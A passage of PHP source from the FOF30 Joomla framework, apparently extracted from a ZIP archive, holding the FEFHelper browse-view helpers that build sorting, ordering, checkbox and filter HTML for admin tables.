/** * Sets the media query version string * * @param mixed $mediaVersion * * @since 3.5.3 */ public function setMediaVersion($mediaVersion) { $this->mediaVersion = $mediaVersion; } /** * Returns the default media query version string if none is already defined * * @return string * @since 3.5.3 */ protected function getDefaultMediaVersion() { // Initialise [$version, $date] = self::getComponentVersionAndDate($this->container->componentName, $this->container->db); // Get the site's secret try { $app = Factory::getApplication(); if (method_exists($app, 'get')) { $secret = $app->get('secret'); } } catch (Exception $e) { } // Generate the version string return md5($version . $date . $secret); } } PK���\��y�e e fof30/Utils/FEFHelper/Html.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Utils\FEFHelper; defined('_JEXEC') || die; use FOF30\View\DataView\DataViewInterface; use Joomla\CMS\HTML\HTMLHelper; use Joomla\CMS\Pagination\Pagination; /** * Interim FEF helper which was used in FOF 3.2. This is deprecated. Please use the FEFHelper.browse JHtml helper * instead. The implementation of this class should be a good hint on how you can do that. * * @deprecated 4.0 */ abstract class Html { /** * Helper function to create Javascript code required for table ordering * * @param string $order Current order * * @return string Javascript to add to the page */ public static function jsOrderingBackend($order) { return HTMLHelper::_('FEFHelper.browse.orderjs', $order, true); } /** * Creates the required HTML code for backend pagination and sorting * * @param Pagination $pagination Pagination object * @param array $sortFields Fields allowed to be sorted * @param string $order Ordering field * @param string $order_Dir Ordering direction (ASC, DESC) * * @return string */ public static function selectOrderingBackend($pagination, $sortFields, $order, $order_Dir) { if (is_null($sortFields)) { $sortFields = []; } if (is_string($sortFields)) { $sortFields = [$sortFields]; } if (!is_array($sortFields)) { $sortFields = []; } return '<div class="akeeba-filter-bar akeeba-filter-bar--right">' . HTMLHelper::_('FEFHelper.browse.orderheader', null, $sortFields, $pagination, $order, $order_Dir) . '</div>'; } /** * Returns the drag'n'drop reordering field for Browse views * * @param DataViewInterface $view The DataView you're rendering against * @param string $orderingField The name of the field you're ordering by * @param string $order The order value of the current row * @param string $class CSS class for the ordering value INPUT field * @param string $icon CSS class for the d'n'd handle icon * @param string $inactiveIcon CSS class for the d'n'd disabled icon * * @return string */ public static function dragDropReordering(DataViewInterface $view, $orderingField, $order, $class = 'input-sm', $icon = 'akion-drag', $inactiveIcon = 'akion-android-more-vertical') { return HTMLHelper::_('FEFHelper.browse.order', $orderingField, $order, $class, $icon, $inactiveIcon, $view); } } PK���\��@EuEu fof30/Utils/FEFHelper/browse.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ defined('_JEXEC') || die; use FOF30\Model\DataModel; use FOF30\Utils\ArrayHelper; use FOF30\Utils\FEFHelper\BrowseView; use FOF30\View\DataView\DataViewInterface; use FOF30\View\DataView\Html; use FOF30\View\DataView\Raw as DataViewRaw; use Joomla\CMS\Factory; use Joomla\CMS\HTML\HTMLHelper; use Joomla\CMS\Language\Text; use Joomla\CMS\Pagination\Pagination; /** * Custom JHtml (HTMLHelper) class. Offers browse view controls compatible with Akeeba Frontend * Framework (FEF). * * Call these methods as JHtml::_('FEFHelper.browse.methodName', $parameter1, $parameter2, ...) */ abstract class FEFHelperBrowse { /** * Returns an action button on the browse view's table * * @param integer $i The row index * @param string $task The task to fire when the button is clicked * @param string|array $prefix An optional task prefix or an array of options * @param string $active_title An optional active tooltip to display if $enable is true * @param string $inactive_title An optional inactive tooltip to display if $enable is true * @param boolean $tip An optional setting for tooltip * @param string $active_class An optional active HTML class * @param string $inactive_class An optional inactive HTML class * @param boolean $enabled An optional setting for access control on the action. * @param boolean $translate An optional setting for translation. * @param string $checkbox An optional prefix for checkboxes. * * @return string The HTML markup * * @since 3.3.0 */ public static function action($i, $task, $prefix = '', $active_title = '', $inactive_title = '', $tip = false, $active_class = '', $inactive_class = '', $enabled = true, $translate = true, $checkbox = 'cb') { if (is_array($prefix)) { $options = $prefix; $active_title = array_key_exists('active_title', $options) ? $options['active_title'] : $active_title; $inactive_title = array_key_exists('inactive_title', $options) ? $options['inactive_title'] : $inactive_title; $tip = array_key_exists('tip', $options) ? $options['tip'] : $tip; $active_class = array_key_exists('active_class', $options) ? $options['active_class'] : $active_class; $inactive_class = array_key_exists('inactive_class', $options) ? $options['inactive_class'] : $inactive_class; $enabled = array_key_exists('enabled', $options) ? $options['enabled'] : $enabled; $translate = array_key_exists('translate', $options) ? $options['translate'] : $translate; $checkbox = array_key_exists('checkbox', $options) ? $options['checkbox'] : $checkbox; $prefix = array_key_exists('prefix', $options) ? $options['prefix'] : ''; } if ($tip) { $title = $enabled ? $active_title : $inactive_title; $title = $translate ? Text::_($title) : $title; $title = HTMLHelper::_('tooltipText', $title, '', 0); } $html = []; if ($enabled) { $btnColor = 'grey'; if (substr($active_class, 0, 2) == '--') { [$btnColor, $active_class] = explode(' ', $active_class, 2); $btnColor = ltrim($btnColor, '-'); } $html[] = '<a class="akeeba-btn--' . $btnColor . '--mini ' . ($active_class === 'publish' ? ' active' : '') . ($tip ? ' hasTooltip' : '') . '"'; $html[] = ' href="javascript:void(0);" onclick="return Joomla.listItemTask(\'' . $checkbox . $i . '\',\'' . $prefix . $task . '\')"'; $html[] = $tip ? ' title="' . $title . '"' : ''; $html[] = '>'; $html[] = '<span class="akion-' . $active_class . '" aria-hidden="true"></span> '; $html[] = '</a>'; } else { $btnColor = 'grey'; if (substr($inactive_class, 0, 2) == '--') { [$btnColor, $inactive_class] = explode(' ', $inactive_class, 2); $btnColor = ltrim($btnColor, '-'); } $html[] = '<a class="akeeba-btn--' . $btnColor . '--mini disabled akeebagrid' . ($tip ? ' hasTooltip' : '') . '"'; $html[] = $tip ? ' title="' . $title . '"' : ''; $html[] = '>'; if ($active_class === 'protected') { $inactive_class = 'locked'; } $html[] = '<span class="akion-' . $inactive_class . '"></span> '; $html[] = '</a>'; } return implode($html); } /** * Returns a state change button on the browse view's table * * @param array $states array of value/state. Each state is an array of the form * (task, text, active title, inactive title, tip (boolean), HTML active class, * HTML inactive class) or ('task'=>task, 'text'=>text, 'active_title'=>active * title, * 'inactive_title'=>inactive title, 'tip'=>boolean, 'active_class'=>html active * class, * 'inactive_class'=>html inactive class) * @param integer $value The state value. * @param integer $i The row index * @param string|array $prefix An optional task prefix or an array of options * @param boolean $enabled An optional setting for access control on the action. * @param boolean $translate An optional setting for translation. * @param string $checkbox An optional prefix for checkboxes. * * @return string The HTML markup * * @since 3.3.0 */ public static function state($states, $value, $i, $prefix = '', $enabled = true, $translate = true, $checkbox = 'cb') { if (is_array($prefix)) { $options = $prefix; $enabled = array_key_exists('enabled', $options) ? $options['enabled'] : $enabled; $translate = array_key_exists('translate', $options) ? $options['translate'] : $translate; $checkbox = array_key_exists('checkbox', $options) ? $options['checkbox'] : $checkbox; $prefix = array_key_exists('prefix', $options) ? $options['prefix'] : ''; } $state = ArrayHelper::getValue($states, (int) $value, $states[0]); $task = array_key_exists('task', $state) ? $state['task'] : $state[0]; $text = array_key_exists('text', $state) ? $state['text'] : (array_key_exists(1, $state) ? $state[1] : ''); $active_title = array_key_exists('active_title', $state) ? $state['active_title'] : (array_key_exists(2, $state) ? $state[2] : ''); $inactive_title = array_key_exists('inactive_title', $state) ? $state['inactive_title'] : (array_key_exists(3, $state) ? $state[3] : ''); $tip = array_key_exists('tip', $state) ? $state['tip'] : (array_key_exists(4, $state) ? $state[4] : false); $active_class = array_key_exists('active_class', $state) ? $state['active_class'] : (array_key_exists(5, $state) ? $state[5] : ''); $inactive_class = array_key_exists('inactive_class', $state) ? $state['inactive_class'] : (array_key_exists(6, $state) ? $state[6] : ''); return static::action( $i, $task, $prefix, $active_title, $inactive_title, $tip, $active_class, $inactive_class, $enabled, $translate, $checkbox ); } /** * Returns a published state on the browse view's table * * @param integer $value The state value. * @param integer $i The row index * @param string|array $prefix An optional task prefix or an array of options * @param boolean $enabled An optional setting for access control on the action. * @param string $checkbox An optional prefix for checkboxes. * @param string $publish_up An optional start publishing date. * @param string $publish_down An optional finish publishing date. * * @return string The HTML markup * * @see self::state() * * @since 3.3.0 */ public static function published($value, $i, $prefix = '', $enabled = true, $checkbox = 'cb', $publish_up = null, $publish_down = null) { if (is_array($prefix)) { $options = $prefix; $enabled = array_key_exists('enabled', $options) ? $options['enabled'] : $enabled; $checkbox = array_key_exists('checkbox', $options) ? $options['checkbox'] : $checkbox; $prefix = array_key_exists('prefix', $options) ? $options['prefix'] : ''; } /** * Format: * * (task, text, active title, inactive title, tip (boolean), active icon class (without akion-), inactive icon class (without akion-)) */ $states = [ 1 => [ 'unpublish', 'JPUBLISHED', 'JLIB_HTML_UNPUBLISH_ITEM', 'JPUBLISHED', true, '--green checkmark', '--green checkmark', ], 0 => [ 'publish', 'JUNPUBLISHED', 'JLIB_HTML_PUBLISH_ITEM', 'JUNPUBLISHED', true, '--red close', '--red close', ], 2 => [ 'unpublish', 'JARCHIVED', 'JLIB_HTML_UNPUBLISH_ITEM', 'JARCHIVED', true, '--orange ion-ios-box', '--orange ion-ios-box', ], -2 => [ 'publish', 'JTRASHED', 'JLIB_HTML_PUBLISH_ITEM', 'JTRASHED', true, '--dark trash-a', '--dark trash-a', ], ]; // Special state for dates if ($publish_up || $publish_down) { $nullDate = Factory::getDbo()->getNullDate(); $nowDate = Factory::getDate()->toUnix(); $tz = Factory::getUser()->getTimezone(); $publish_up = (!empty($publish_up) && ($publish_up != $nullDate)) ? Factory::getDate($publish_up, 'UTC')->setTimeZone($tz) : false; $publish_down = (!empty($publish_down) && ($publish_down != $nullDate)) ? Factory::getDate($publish_down, 'UTC')->setTimeZone($tz) : false; // Create tip text, only we have publish up or down settings $tips = []; if ($publish_up) { $tips[] = Text::sprintf('JLIB_HTML_PUBLISHED_START', HTMLHelper::_('date', $publish_up, Text::_('DATE_FORMAT_LC5'), 'UTC')); } if ($publish_down) { $tips[] = Text::sprintf('JLIB_HTML_PUBLISHED_FINISHED', HTMLHelper::_('date', $publish_down, Text::_('DATE_FORMAT_LC5'), 'UTC')); } $tip = empty($tips) ? false : implode('<br />', $tips); // Add tips and special titles foreach ($states as $key => $state) { // Create special titles for published items if ($key == 1) { $states[$key][2] = $states[$key][3] = 'JLIB_HTML_PUBLISHED_ITEM'; if (!empty($publish_up) && ($publish_up != $nullDate) && $nowDate < $publish_up->toUnix()) { $states[$key][2] = $states[$key][3] = 'JLIB_HTML_PUBLISHED_PENDING_ITEM'; $states[$key][5] = $states[$key][6] = 'android-time'; } if (!empty($publish_down) && ($publish_down != $nullDate) && $nowDate > $publish_down->toUnix()) { $states[$key][2] = $states[$key][3] = 'JLIB_HTML_PUBLISHED_EXPIRED_ITEM'; $states[$key][5] = $states[$key][6] = 'alert'; } } // Add tips to titles if ($tip) { $states[$key][1] = Text::_($states[$key][1]); $states[$key][2] = Text::_($states[$key][2]) . '<br />' . $tip; $states[$key][3] = Text::_($states[$key][3]) . '<br />' . $tip; $states[$key][4] = true; } } return static::state($states, $value, $i, [ 'prefix' => $prefix, 'translate' => !$tip, ], $enabled, true, $checkbox); } return static::state($states, $value, $i, $prefix, $enabled, true, $checkbox); } /** * Returns an isDefault state on the browse view's table * * @param integer $value The state value. * @param integer $i The row index * @param string|array $prefix An optional task prefix or an array of options * @param boolean $enabled An optional setting for access control on the action. * @param string $checkbox An optional prefix for checkboxes. * * @return string The HTML markup * * @see self::state() * @since 3.3.0 */ public static function isdefault($value, $i, $prefix = '', $enabled = true, $checkbox = 'cb') { if (is_array($prefix)) { $options = $prefix; $enabled = array_key_exists('enabled', $options) ? $options['enabled'] : $enabled; $checkbox = array_key_exists('checkbox', $options) ? $options['checkbox'] : $checkbox; $prefix = array_key_exists('prefix', $options) ? $options['prefix'] : ''; } $states = [ 0 => ['setDefault', '', 'JLIB_HTML_SETDEFAULT_ITEM', '', 1, 'android-star-outline', 'android-star-outline'], 1 => [ 'unsetDefault', 'JDEFAULT', 'JLIB_HTML_UNSETDEFAULT_ITEM', 'JDEFAULT', 1, 'android-star', 'android-star', ], ]; return static::state($states, $value, $i, $prefix, $enabled, true, $checkbox); } /** * Returns a checked-out icon * * @param integer $i The row index. * @param string $editorName The name of the editor. * @param string $time The time that the object was checked out. * @param string|array $prefix An optional task prefix or an array of options * @param boolean $enabled True to enable the action. * @param string $checkbox An optional prefix for checkboxes. * * @return string The HTML markup * * @since 3.3.0 */ public static function checkedout($i, $editorName, $time, $prefix = '', $enabled = false, $checkbox = 'cb') { HTMLHelper::_('bootstrap.tooltip'); if (is_array($prefix)) { $options = $prefix; $enabled = array_key_exists('enabled', $options) ? $options['enabled'] : $enabled; $checkbox = array_key_exists('checkbox', $options) ? $options['checkbox'] : $checkbox; $prefix = array_key_exists('prefix', $options) ? $options['prefix'] : ''; } $text = $editorName . '<br />' . HTMLHelper::_('date', $time, Text::_('DATE_FORMAT_LC')) . '<br />' . HTMLHelper::_('date', $time, 'H:i'); $active_title = HTMLHelper::_('tooltipText', Text::_('JLIB_HTML_CHECKIN'), $text, 0); $inactive_title = HTMLHelper::_('tooltipText', Text::_('JLIB_HTML_CHECKED_OUT'), $text, 0); return static::action( $i, 'checkin', $prefix, html_entity_decode($active_title, ENT_QUOTES, 'UTF-8'), html_entity_decode($inactive_title, ENT_QUOTES, 'UTF-8'), true, 'locked', 'locked', $enabled, false, $checkbox ); } /** * Returns the drag'n'drop reordering field for Browse views * * @param string $orderingField The name of the field you're ordering by * @param string $order The order value of the current row * @param string $class CSS class for the ordering value INPUT field * @param string $icon CSS class for the d'n'd handle icon * @param string $inactiveIcon CSS class for the d'n'd disabled icon * @param DataViewInterface $view The view you're rendering against. Leave null for auto-detection. * * @return string */ public static function order($orderingField, $order, $class = 'input-sm', $icon = 'akion-android-more-vertical', $inactiveIcon = 'akion-android-more-vertical', DataViewInterface $view = null) { /** @var Html $view */ if (is_null($view)) { $view = BrowseView::getViewFromBacktrace(); } $dndOrderingActive = $view->getLists()->order == $orderingField; // Default inactive ordering $html = '<span class="sortable-handler inactive" >'; $html .= '<span class="' . $icon . '"></span>'; $html .= '</span>'; // The modern drag'n'drop method if ($view->getPerms()->editstate) { $disableClassName = ''; $disabledLabel = ''; // DO NOT REMOVE! It will initialize Joomla libraries and javascript functions $hasAjaxOrderingSupport = $view->hasAjaxOrderingSupport(); if (!is_array($hasAjaxOrderingSupport) || !$hasAjaxOrderingSupport['saveOrder']) { $disabledLabel = Text::_('JORDERINGDISABLED'); $disableClassName = 'inactive tip-top hasTooltip'; } $orderClass = $dndOrderingActive ? 'order-enabled' : 'order-disabled'; $html = '<div class="' . $orderClass . '">'; $html .= '<span class="sortable-handler ' . $disableClassName . '" title="' . $disabledLabel . '">'; $html .= '<span class="' . ($disableClassName ? $inactiveIcon : $icon) . '"></span>'; $html .= '</span>'; if ($dndOrderingActive) { $joomla35IsBroken = version_compare(JVERSION, '3.5.0', 'ge') ? 'style="display: none"' : ''; $html .= '<input type="text" name="order[]" ' . $joomla35IsBroken . ' size="5" class="' . $class . ' text-area-order" value="' . $order . '" />'; } $html .= '</div>'; } return $html; } /** * Returns the drag'n'drop reordering table header for Browse views * * @param string $orderingField The name of the field you're ordering by * @param string $icon CSS class for the d'n'd handle icon * * @return string */ public static function orderfield($orderingField = 'ordering', $icon = 'akion-stats-bars') { $title = Text::_('JGLOBAL_CLICK_TO_SORT_THIS_COLUMN'); $orderingLabel = Text::_('JFIELD_ORDERING_LABEL'); return <<< HTML <a href="#" onclick="Joomla.tableOrdering('{$orderingField}','asc','');return false;" class="hasPopover" title="{$orderingLabel}" data-content="{$title}" data-placement="top" > <span class="{$icon}"></span> </a> HTML; } /** * Creates an order-up action icon. * * @param integer $i The row index. * @param string $task An optional task to fire. * @param string|array $prefix An optional task prefix or an array of options * @param string $text An optional text to display * @param boolean $enabled An optional setting for access control on the action. * @param string $checkbox An optional prefix for checkboxes. * * @return string The HTML markup * * @since 3.3.0 */ public static function orderUp($i, $task = 'orderup', $prefix = '', $text = 'JLIB_HTML_MOVE_UP', $enabled = true, $checkbox = 'cb') { if (is_array($prefix)) { $options = $prefix; $text = array_key_exists('text', $options) ? $options['text'] : $text; $enabled = array_key_exists('enabled', $options) ? $options['enabled'] : $enabled; $checkbox = array_key_exists('checkbox', $options) ? $options['checkbox'] : $checkbox; $prefix = array_key_exists('prefix', $options) ? $options['prefix'] : ''; } return static::action($i, $task, $prefix, $text, $text, false, 'arrow-up-b', 'arrow-up-b', $enabled, true, $checkbox); } /** * Creates an order-down action icon. * * @param integer $i The row index. * @param string $task An optional task to fire. * @param string|array $prefix An optional task prefix or an array of options * @param string $text An optional text to display * @param boolean $enabled An optional setting for access control on the action. * @param string $checkbox An optional prefix for checkboxes. * * @return string The HTML markup * * @since 3.3.0 */ public static function orderDown($i, $task = 'orderdown', $prefix = '', $text = 'JLIB_HTML_MOVE_DOWN', $enabled = true, $checkbox = 'cb') { if (is_array($prefix)) { $options = $prefix; $text = array_key_exists('text', $options) ? $options['text'] : $text; $enabled = array_key_exists('enabled', $options) ? $options['enabled'] : $enabled; $checkbox = array_key_exists('checkbox', $options) ? $options['checkbox'] : $checkbox; $prefix = array_key_exists('prefix', $options) ? $options['prefix'] : ''; } return static::action($i, $task, $prefix, $text, $text, false, 'arrow-down-b', 'arrow-down-b', $enabled, true, $checkbox); } /** * Table header for a field which changes the sort order when clicked * * @param string $title The link title * @param string $order The order field for the column * @param string $direction The current direction * @param string $selected The selected ordering * @param string $task An optional task override * @param string $new_direction An optional direction for the new column * @param string $tip An optional text shown as tooltip title instead of $title * @param string $form An optional form selector * * @return string * * @since 3.3.0 */ public static function sort($title, $order, $direction = 'asc', $selected = '', $task = null, $new_direction = 'asc', $tip = '', $form = null) { HTMLHelper::_('behavior.core'); HTMLHelper::_('bootstrap.popover'); $direction = strtolower($direction); $icon = ['akion-android-arrow-dropup', 'akion-android-arrow-dropdown']; $index = (int) ($direction === 'desc'); if ($order != $selected) { $direction = $new_direction; } else { $direction = $direction === 'desc' ? 'asc' : 'desc'; } if ($form) { $form = ', document.getElementById(\'' . $form . '\')'; } $html = '<a href="#" onclick="Joomla.tableOrdering(\'' . $order . '\',\'' . $direction . '\',\'' . $task . '\'' . $form . ');return false;"' . ' class="hasPopover" title="' . htmlspecialchars(Text::_($tip ?: $title)) . '"' . ' data-content="' . htmlspecialchars(Text::_('JGLOBAL_CLICK_TO_SORT_THIS_COLUMN')) . '" data-placement="top">'; if (isset($title['0']) && $title['0'] === '<') { $html .= $title; } else { $html .= Text::_($title); } if ($order == $selected) { $html .= '<span class="' . $icon[$index] . '"></span>'; } $html .= '</a>'; return $html; } /** * Method to check all checkboxes on the browse view's table * * @param string $name The name of the form element * @param string $tip The text shown as tooltip title instead of $tip * @param string $action The action to perform on clicking the checkbox * * @return string * * @since 3.3.0 */ public static function checkall($name = 'checkall-toggle', $tip = 'JGLOBAL_CHECK_ALL', $action = 'Joomla.checkAll(this)') { HTMLHelper::_('behavior.core'); HTMLHelper::_('bootstrap.tooltip'); return '<input type="checkbox" name="' . $name . '" value="" class="hasTooltip" title="' . HTMLHelper::_('tooltipText', $tip) . '" onclick="' . $action . '" />'; } /** * Method to create a checkbox for a grid row. * * @param integer $rowNum The row index * @param integer $recId The record id * @param boolean $checkedOut True if item is checked out * @param string $name The name of the form element * @param string $stub The name of stub identifier * * @return mixed String of html with a checkbox if item is not checked out, null if checked out. * * @since 3.3.0 */ public static function id($rowNum, $recId, $checkedOut = false, $name = 'cid', $stub = 'cb') { return $checkedOut ? '' : '<input type="checkbox" id="' . $stub . $rowNum . '" name="' . $name . '[]" value="' . $recId . '" onclick="Joomla.isChecked(this.checked);" />'; } /** * Include the necessary JavaScript for the browse view's table order feature * * @param string $orderBy Filed by which we are currently sorting the table. * @param bool $return Should I return the JS? Default: false (= add to the page's head) * * @return string */ public static function orderjs($orderBy, $return = false) { $js = <<< JS Joomla.orderTable = function() { var table = document.getElementById("sortTable"); var direction = document.getElementById("directionTable"); var order = table.options[table.selectedIndex].value; var dirn = 'asc'; if (order !== '$orderBy') { dirn = 'asc'; } else { dirn = direction.options[direction.selectedIndex].value; } Joomla.tableOrdering(order, dirn); }; JS; if ($return) { return $js; } try { Factory::getApplication()->getDocument()->addScriptDeclaration($js); } catch (Exception $e) { // If we have no application, well, not having table sorting JS is the least of your worries... } } /** * Returns the table ordering / pagination header for a browse view: number of records to display, order direction, * order by field. * * @param DataViewRaw $view The view you're rendering against. If not provided we * will guess it using MAGIC. * @param array $sortFields Array of field name => description for the ordering * fields in the dropdown. If not provided we will use all * the fields available in the model. * @param Pagination $pagination The Joomla pagination object. If not provided we fetch * it from the view. * @param string $sortBy Order by field name. If not provided we fetch it from * the view. * @param string $order_Dir Order direction. If not provided we fetch it from the * view. * * @return string * * @since 3.3.0 */ public static function orderheader(DataViewRaw $view = null, array $sortFields = [], Pagination $pagination = null, $sortBy = null, $order_Dir = null) { if (is_null($view)) { $view = BrowseView::getViewFromBacktrace(); } if (empty($sortFields)) { /** @var DataModel $model */ $model = $view->getModel(); $sortFields = $view->getLists()->sortFields ?? []; $sortFields = empty($sortFields) ? self::getSortFields($model) : $sortFields; } if (empty($pagination)) { $pagination = $view->getPagination(); } if (empty($sortBy)) { $sortBy = $view->getLists()->order; } if (empty($order_Dir)) { $order_Dir = $view->getLists()->order_Dir; if (empty($order_Dir)) { $order_Dir = 'asc'; } } // Static hidden text labels $limitLabel = Text::_('JFIELD_PLG_SEARCH_SEARCHLIMIT_DESC'); $orderingDescr = Text::_('JFIELD_ORDERING_DESC'); $sortByLabel = Text::_('JGLOBAL_SORT_BY'); // Order direction dropdown $directionSelect = HTMLHelper::_('FEFHelper.select.genericlist', [ '' => $orderingDescr, 'asc' => Text::_('JGLOBAL_ORDER_ASCENDING'), 'desc' => Text::_('JGLOBAL_ORDER_DESCENDING'), ], 'directionTable', [ 'id' => 'directionTable', 'list.select' => $order_Dir, 'list.attr' => [ 'class' => 'input-medium custom-select', 'onchange' => 'Joomla.orderTable()', ], ]); // Sort by field dropdown $sortTable = HTMLHelper::_('FEFHelper.select.genericlist', array_merge([ '' => Text::_('JGLOBAL_SORT_BY'), ], $sortFields), 'sortTable', [ 'id' => 'sortTable', 'list.select' => $sortBy, 'list.attr' => [ 'class' => 'input-medium custom-select', 'onchange' => 'Joomla.orderTable()', ], ]); $html = <<<HTML <div class="akeeba-filter-element akeeba-form-group"> <label for="limit" class="element-invisible"> $limitLabel </label> {$pagination->getLimitBox()} </div> <div class="akeeba-filter-element akeeba-form-group"> <label for="directionTable" class="element-invisible"> $orderingDescr </label> $directionSelect </div> <div class="akeeba-filter-element akeeba-form-group"> <label for="sortTable" class="element-invisible"> {$sortByLabel} </label> $sortTable </div> HTML; return $html; } /** * Get the default sort fields from a model. It creates a hash array where the keys are the model's field names and * the values are the translation keys for their names, following FOF's naming conventions. * * @param DataModel $model The model for which we get the sort fields * * @return array * * @since 3.3.0 */ private static function getSortFields(DataModel $model) { $sortFields = []; $idField = $model->getIdFieldName() ?: 'id'; $defaultFieldLabels = [ 'publish_up' => 'JGLOBAL_FIELD_PUBLISH_UP_LABEL', 'publish_down' => 'JGLOBAL_FIELD_PUBLISH_DOWN_LABEL', 'created_by' => 'JGLOBAL_FIELD_CREATED_BY_LABEL', 'created_on' => 'JGLOBAL_FIELD_CREATED_LABEL', 'modified_by' => 'JGLOBAL_FIELD_MODIFIED_BY_LABEL', 'modified_on' => 'JGLOBAL_FIELD_MODIFIED_LABEL', 'ordering' => 'JGLOBAL_FIELD_FIELD_ORDERING_LABEL', 'id' => 'JGLOBAL_FIELD_ID_LABEL', 'hits' => 'JGLOBAL_HITS', 'title' => 'JGLOBAL_TITLE', 'user_id' => 'JGLOBAL_USERNAME', 'username' => 'JGLOBAL_USERNAME', ]; $componentName = $model->getContainer()->componentName; $viewNameSingular = $model->getContainer()->inflector->singularize($model->getName()); $viewNamePlural = $model->getContainer()->inflector->pluralize($model->getName()); foreach ($model->getFields() as $field => $fieldDescriptor) { $possibleKeys = [ $componentName . '_' . $viewNamePlural . '_FIELD_' . $field, $componentName . '_' . $viewNamePlural . '_' . $field, $componentName . '_' . $viewNameSingular . '_FIELD_' . $field, $componentName . '_' . $viewNameSingular . '_' . $field, ]; if (array_key_exists($field, $defaultFieldLabels)) { $possibleKeys[] = $defaultFieldLabels[$field]; } if ($field === $idField) { $possibleKeys[] = $defaultFieldLabels['id']; } $fieldLabel = ''; foreach ($possibleKeys as $langKey) { $langKey = strtoupper($langKey); $fieldLabel = Text::_($langKey); if ($fieldLabel !== $langKey) { break; } $fieldLabel = ''; } if (!empty($fieldLabel)) { $sortFields[$field] = (new Joomla\Filter\InputFilter())->clean($fieldLabel); } } return $sortFields; } } PK���\-��znzn$fof30/Utils/FEFHelper/BrowseView.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Utils\FEFHelper; defined('_JEXEC') || die; use Exception; use FOF30\Container\Container; use FOF30\Model\DataModel; use FOF30\Utils\ArrayHelper; use FOF30\Utils\SelectOptions; use FOF30\View\DataView\DataViewInterface; use FOF30\View\View; use Joomla\CMS\HTML\HTMLHelper; use Joomla\CMS\Language\Text; use RuntimeException; /** * An HTML helper for Browse views. * * It reintroduces a FEF-friendly of some of the functionality found in FOF 3's Header and Field classes. These * helpers are also accessible through Blade, making the transition from XML forms to Blade templates easier. * * @since 3.3.0 */ abstract class BrowseView { /** * Caches the results of getOptionsFromModel keyed by a hash. The hash is computed by the model * name, the model state and the options passed to getOptionsFromModel. * * @var array */ private static $cacheModelOptions = []; /** * Get the translation key for a field's label * * @param string $fieldName The field name * * @return string * * @since 3.3.0 */ public static function fieldLabelKey($fieldName) { $view = self::getViewFromBacktrace(); try { $inflector = $view->getContainer()->inflector; $viewName = $inflector->singularize($view->getName()); $altViewName = $inflector->pluralize($view->getName()); $componentName = $view->getContainer()->componentName; $keys = [ strtoupper($componentName . '_' . $viewName . '_FIELD_' . $fieldName), strtoupper($componentName . '_' . $altViewName . '_FIELD_' . $fieldName), strtoupper($componentName . '_' . $viewName . '_' . $fieldName), strtoupper($componentName . '_' . $altViewName . '_' . $fieldName), ]; foreach ($keys as $key) { if (Text::_($key) != $key) { return $key; } } return $keys[0]; } catch (Exception $e) { return ucfirst($fieldName); } } /** * Returns the label for a field (translated) * * @param string $fieldName The field name * * @return string */ public static function fieldLabel($fieldName) { return Text::_(self::fieldLabelKey($fieldName)); } /** * Return a table field header which sorts the table by that field upon clicking * * @param string $field The name of the field * @param string|null $langKey (optional) The language key for the header to be displayed * * @return mixed */ public static function sortgrid($field, $langKey = null) { /** @var DataViewInterface $view */ $view = self::getViewFromBacktrace(); if (is_null($langKey)) { $langKey = self::fieldLabelKey($field); } return HTMLHelper::_('FEFHelper.browse.sort', $langKey, $field, $view->getLists()->order_Dir, $view->getLists()->order, $view->getTask()); } /** * Create a browse view filter from values returned by a model * * @param string $localField Field name * @param string $modelTitleField Foreign model field for drop-down display values * @param null $modelName Foreign model name * @param string $placeholder Placeholder for no selection * @param array $params Generic select display parameters * * @return string * * @since 3.3.0 */ public static function modelFilter($localField, $modelTitleField = 'title', $modelName = null, $placeholder = null, array $params = []) { /** @var DataModel $model */ $model = self::getViewFromBacktrace()->getModel(); if (empty($modelName)) { $modelName = $model->getForeignModelNameFor($localField); } if (is_null($placeholder)) { $placeholder = self::fieldLabelKey($localField); } $params = array_merge([ 'list.none' => '— ' . Text::_($placeholder) . ' —', 'value_field' => $modelTitleField, 'fof.autosubmit' => true, ], $params); return self::modelSelect($localField, $modelName, $model->getState($localField), $params); } /** * Display a text filter (search box) * * @param string $localField The name of the model field. Used when getting the filter state. * @param string $searchField The INPUT element's name. Default: "filter_$localField". * @param string $placeholder The JText language key for the placeholder. Default: extrapolate from $localField. * @param array $attributes HTML attributes for the INPUT element. * * @return string * * @since 3.3.0 */ public static function searchFilter($localField, $searchField = null, $placeholder = null, array $attributes = []) { /** @var DataModel $model */ $view = self::getViewFromBacktrace(); $model = $view->getModel(); $searchField = empty($searchField) ? $localField : $searchField; $placeholder = empty($placeholder) ? self::fieldLabelKey($localField) : $placeholder; $attributes['type'] = $attributes['type'] ?? 'text'; $attributes['name'] = $searchField; $attributes['id'] = !isset($attributes['id']) ? "filter_$localField" : $attributes['id']; $attributes['onchange'] = !isset($attributes['onchange']) ? 'document.adminForm.submit()' : null; $attributes['placeholder'] = !isset($attributes['placeholder']) ? $view->escape(Text::_($placeholder)) : $attributes['placeholder']; $attributes['title'] = $attributes['title'] ?? $attributes['placeholder']; $attributes['value'] = $view->escape($model->getState($localField)); // Remove null attributes and collapse into a string $attributes = array_filter($attributes, function ($v) { return !is_null($v); }); $attributes = ArrayHelper::toString($attributes); return "<input $attributes />"; } /** * Create a browse view filter with dropdown values * * @param string $localField Field name * @param array $options The JHtml options list to use * @param string $placeholder Placeholder for no selection * @param array $params Generic select display parameters * * @return string * * @since 3.3.0 */ public static function selectFilter($localField, array $options, $placeholder = null, array $params = []) { /** @var DataModel $model */ $model = self::getViewFromBacktrace()->getModel(); if (is_null($placeholder)) { $placeholder = self::fieldLabelKey($localField); } $params = array_merge([ 'list.none' => '— ' . Text::_($placeholder) . ' —', 'fof.autosubmit' => true, ], $params); return self::genericSelect($localField, $options, $model->getState($localField), $params); } /** * View access dropdown filter * * @param string $localField Field name * @param string $placeholder Placeholder for no selection * @param array $params Generic select display parameters * * @return string * * @since 3.3.0 */ public static function accessFilter($localField, $placeholder = null, array $params = []) { return self::selectFilter($localField, SelectOptions::getOptions('access', $params), $placeholder, $params); } /** * Published state dropdown filter * * @param string $localField Field name * @param string $placeholder 